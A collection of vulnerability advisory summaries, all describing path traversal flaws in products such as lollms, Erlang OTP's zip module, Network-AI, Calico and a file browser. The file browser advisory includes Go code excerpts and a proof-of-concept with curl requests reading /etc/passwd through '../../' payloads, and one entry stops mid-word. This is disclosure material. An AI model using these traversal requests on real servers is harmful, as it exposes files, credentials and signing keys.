Zohocorp ManageEngine M365 Manager Plus and M365 Security Plus versions below 4820 are affected to Authenticated Path Traversal vulnerability in Exchange Online backup module.
CVE-2026-21082 is a relative path traversal vulnerability in Samsung Health prior to version 7.0.0. This flaw allows local attackers to access sensitive information by manipulating file paths. The vulnerability has a CVSS 4.0 base score of 6.9, indicating a medium severity level. No official patch or remediation guidance has been provided yet, and there are no known exploits in the wild. The affected versions are not explicitly stated in the available data.
A path traversal vulnerability exists in parisneo/lollms version 2.1.0, specifically in the SPA catch-all route implemented in `backend/routers/ui.py`. The vulnerability arises from the improper handling of user-controlled path input, which is directly joined into a filesystem path without sanitization or containment checks. URL-encoded dot-dot sequences (`%2e%2e`) bypass Starlette's built-in path normalization and are resolved by Python's `pathlib`, allowing an unauthenticated attacker to read arbitrary files on the server. This issue has been resolved in version 3.
Dell OpenManage Server Administrator Managed Node for Windows versions prior to 11.1.0.2 contains a relative path traversal vulnerability (CWE-23). This flaw allows a low privileged attacker with remote access to potentially access the filesystem. The vulnerability has a CVSS 3.1 base score of 6.5, indicating medium severity. No official patch or remediation guidance has been provided yet by Dell. There are no known exploits in the wild at this time.
CVE-2026-66881 is a relative path traversal vulnerability in livebook-dev's livebook software. It allows an attacker to craft a malicious notebook that writes files with attacker-controlled content to arbitrary paths on the victim's system. This occurs because the import process does not properly validate file entry names, enabling path traversal outside the intended directory. The vulnerability affects livebook versions from 0.11.0 before 0.18.7 and from 0.19.0 before 0.19.9. Exploitation requires a victim to open a malicious notebook and trigger the file fetch, with no authentication required for the attacker. The CVSS 4.0 score is 7.0, indicating high severity.
Path Traversal in Download File Feature in com.talpa.hibrowser 2.23.1.1 on Android allows arbitrary file write via directory traversal sequences in the filename.
hashi-vault-js is a Node.js module for interacting with the HashiCorp Vault API. Prior to 0.5.2, src/Vault.js concatenates unencoded identifier values including name, username, group, role, and version into Vault request paths and query strings instead of using encodeURIComponent() and URLSearchParams, allowing path traversal and query parameter injection. This issue is fixed in version 0.5.2.
Calico's Application Layer Policy (disabled by default), which enforces HTTP rules through Dikastes, fails to perform URL path normalization. As a result, HTTP requests using path-traversal segments, encoded slashes, or repeated slashes are not correctly evaluated by Prefix path rules. Dikastes authorizes the request under the permitted prefix while the downstream workload or a fronting proxy normalizes the path and serves the restricted endpoint. An attacker with network access and no special RBAC can potentially reach HTTP endpoints the policy was intended to restrict.
Vacron VIN-DS783E-E6 contains a high-severity Arbitrary File Read vulnerability due to a relative path traversal flaw. Authenticated remote attackers can exploit this vulnerability to download arbitrary system files. No patch or official remediation has been confirmed yet. The vulnerability has a CVSS 4.0 base score of 7.1, indicating a high impact if exploited.
A Path Traversal vulnerability exists in Quick.CMS through the URI path component of HTTP requests, where the server fails to normalize dot-dot-slash (../) sequences before resolving and serving the requested file. An authenticated attacker with admin privileges can use this vulnerability to read contents of files located in the sibling directory of the webroot via a crafted HTTP request containing ../ sequences in the URI.
The vendor assessed the likelihood of exploitation as very low and determined that a fix is not necessary.
Relative Path Traversal vulnerability in Erlang OTP (stdlib zip module) allows writing files outside the intended extraction directory via a crafted zip archive.
zip:unzip/1,2 and zip:extract/1,2 validate entry paths using zip:check_dir_level/2, which tracks directory depth as a running integer counter: .. decrements it, normal path components increment it. The caller rejects only paths where the final counter value is less than zero. A path such as ../x/y causes the counter to go negative mid-traversal then recover to zero, passing validation while resolving to a location outside the extraction directory when joined with the current working directory via add_cwd.
This vulnerability is associated with program file lib/stdlib/src/zip.erl.
This issue affects OTP from OTP 27.1 before OTP 27.3.4.15, OTP 28.5.0.4, and OTP 29.0.4, corresponding to stdlib from 6.1 before 6.2.2.4, 7.3.0.1, and 8.0.3.
The WP Foodbakery plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'delete_locations_backup_file_callback' function in all versions up to, and including, 4.9. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `AgentRuntime` promises scoped file access under a configured sandbox `basePath`, but its path containment checks use raw string prefix tests. A sandbox base such as `/tmp/network-ai-sandbox` also matches a sibling path such as `/tmp/network-ai-sandbox_evil/secret.txt`. An agent/user that can call `AgentRuntime.readFile()` or `AgentRuntime.listDir()` can read or list files outside the intended sandbox when the target path is in a sibling directory sharing the base path prefix. This breaks the documented sandbox boundary. The issue is fixed in v5.12.2. `SandboxPolicy.resolvePath()` and `isPathAllowed()` now use separator-anchored prefix checks (`resolved === base || resolved.startsWith(base + path.sep)`) for both the allow-list and block-list. A sibling directory that merely shares a name prefix (e.g. `/srv/app-evil` vs base `/srv/app`) is no longer treated as in-scope.
Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. `restore()` now validates `backupId` against `/^[\w\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.
### Summary
The `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors.
The primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required.
The secondary vector is the `name` parameter: it is joined with `parentDir` via `filepath.Join(parentDir, name)` without stripping directory components, allowing traversal relative to any resolved `parentDir`.
Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including `/etc/passwd`, SSH keys, database credentials, and JWT signing keys.
### Details
**1. `path` parameter lacks `SanitizeUserPath()` — primary vector (`http/media.go:54`)**
```go
userscope, err := d.user.GetScopeForSourceName(source)
// ...
realPath, _, err := idx.GetRealPath(userscope, path) // path is raw user input, no sanitization
// ...
parentDir := filepath.Dir(realPath) // line 59: attacker controls this directory
```
`SanitizeUserPath()` explicitly rejects `..` segments:
```go
func SanitizeUserPath(userPath string) (string, error) {
// ...
for _, segment := range segments {
if segment == ".." {
return "", fmt.Errorf("invalid path: path traversal detected")
}
}
// ...
}
```
Every other handler in the codebase calls `SanitizeUserPath()` before `GetRealPath()`. This handler skips it, so `path=../../etc/passwd` resolves `parentDir` to `/etc`, with no anchor file required.
**2. `name` parameter used directly in `filepath.Join` — secondary vector (`http/media.go:63`)**
```go
name := r.URL.Query().Get("name") // line 37 — raw user input
// ...
content, err = utils.GetSubtitleSidecarContent(
filepath.Join(parentDir, name)) // line 63 — TRAVERSAL
```
`filepath.Join(parentDir, "../../etc/passwd")` resolves the `..` components, escaping `parentDir`. This vector requires a valid file in scope as the `path` anchor.
**3. `GetSubtitleSidecarContent` reads and returns file contents (`common/utils/media.go:17-43`)**
```go
func GetSubtitleSidecarContent(subtitlePath string) (string, error) {
info, err := os.Stat(subtitlePath) // follows the traversed path
// size check: < 50MB
isText, err := IsTextFile(subtitlePath) // checks UTF-8 validity
content, err := os.ReadFile(subtitlePath) // reads and returns content
return string(content), nil
}
```
The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string.
**4. Endpoint is behind `withUser` but requires no special permissions**
```go
// httpRouter.go
api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler))
```
Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required.
### PoC
**Vector 1: `path` traversal (no anchor file needed):**
```bash
docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN"
```
**Expected output:** `/etc/passwd` contents with HTTP 200.
**Vector 2: `name` traversal (anchor file required):**
```bash
mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt
docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN"
```
**Expected output:** `/etc/passwd` contents with HTTP 200.
### Impact
- **Arbitrary file read**: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.
- **No anchor file required**: The `path` vector works on a default install with an empty storage root, so no existing file in scope is needed.
- **Scope bypass**: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.
- **Credential exposure**: `/etc/passwd`, `/etc/shadow` (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets.
- **Privilege escalation**: Reading the JWT signing key from the database or config file enables forging admin tokens.
- **No special permissions required**: The endpoint only requires basic authenti
CVE-2026-15415 is a medium severity vulnerability in AWS HealthOmics MCP Server versions before 0.0.36. It involves a relative path traversal flaw in the linting tools that could allow an attacker who can influence the MCP agent to write files to arbitrary locations outside the intended workflow bundle directory. This could lead to unauthorized file writes. AWS has released version 0.0.36 to remediate this issue.